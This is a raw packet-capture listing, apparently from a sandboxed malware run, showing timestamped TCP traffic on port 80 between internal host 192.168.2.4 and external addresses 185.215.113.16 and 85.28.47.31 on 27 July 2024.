Jul 27, 2024 05:39:08.599229097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599261045 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599292040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599312067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599312067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599312067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599313021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599313021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599313021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599323988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599354982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599378109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599378109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599386930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599400997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599419117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599440098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599452972 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599471092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599483013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599514008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599530935 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599544048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599577904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599579096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599616051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599630117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599642992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599667072 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599694014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599694967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599726915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599749088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599757910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599777937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599788904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599803925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599819899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599837065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599852085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599879980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599883080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599906921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599915028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599946976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.599970102 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.599978924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.600009918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.600040913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.627808094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.628036022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:08.629503965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:08.634473085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.647313118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647360086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647422075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647448063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647456884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647543907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647579908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647602081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647603989 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647628069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647658110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647658110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647665977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647690058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647691011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647721052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647727013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647742033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647749901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647773981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647775888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647792101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647809982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647819042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647834063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647852898 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647856951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647876024 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647883892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647902012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647907019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647926092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647934914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647948027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.647972107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.647979975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648006916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648014069 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648030996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648053885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648075104 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648077011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648099899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648106098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648123026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648138046 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648147106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648169994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648169994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648194075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648201942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648215055 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648224115 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648238897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648243904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648264885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648269892 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648288012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648289919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648312092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648313046 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648335934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648353100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648838043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648873091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648888111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648897886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648925066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648936033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648947001 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.648960114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.648983002 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649005890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649005890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649028063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649035931 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649051905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649071932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649075031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649102926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649111986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649137974 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649147987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649158001 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649173021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649194956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649215937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649216890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649240971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649245977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649271011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649276972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649302959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649306059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649318933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649329901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649365902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649367094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649391890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649414062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649436951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649439096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649460077 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649461031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649485111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649494886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649512053 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649523020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649550915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649557114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649575949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649591923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649600983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649615049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649637938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649662971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649665117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649686098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649697065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649709940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649733067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649736881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649758101 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649765968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649780989 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649804115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649808884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649828911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649846077 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649852991 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649876118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649878025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649902105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649909019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649925947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.649952888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.649981022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.656392097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656424999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656488895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656493902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.656503916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656518936 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656538010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.656541109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656554937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.656574011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.656609058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689531088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689557076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689572096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689585924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689599991 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689613104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689626932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689631939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689713001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689727068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689740896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689754009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689766884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689780951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689793110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689793110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689793110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689798117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.689810991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689846992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.689979076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690053940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690066099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690093994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690112114 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690119028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690133095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690146923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690161943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690174103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690188885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690202951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690210104 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690217018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690227985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690229893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690246105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690260887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690296888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690534115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690609932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690623045 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690637112 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.690648079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.690675020 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.737915039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.737947941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.737962008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.737976074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.737989902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738003969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738013029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738018990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738061905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738090038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738104105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738117933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738132000 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738142014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738159895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738162994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738173962 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738187075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738199949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738210917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738214970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738233089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738244057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738257885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738267899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738270998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738279104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738300085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738305092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738313913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738327980 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738328934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738342047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738356113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738363981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738399029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738435030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738462925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738476992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738481045 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738491058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738516092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738519907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738547087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738563061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738576889 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738600016 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738640070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738655090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738670111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738682985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738683939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738698006 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738713980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738714933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738750935 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738814116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738827944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738842010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738856077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738866091 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738889933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738914013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738914967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738928080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738940954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738955021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738955975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.738976002 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.738986969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739012003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739025116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739038944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739044905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739062071 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739083052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739109039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739123106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739135981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739161968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739192009 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739746094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739804983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739852905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739854097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739867926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739897013 CEST	49476	80	192.168.2.4	185.215.113.16
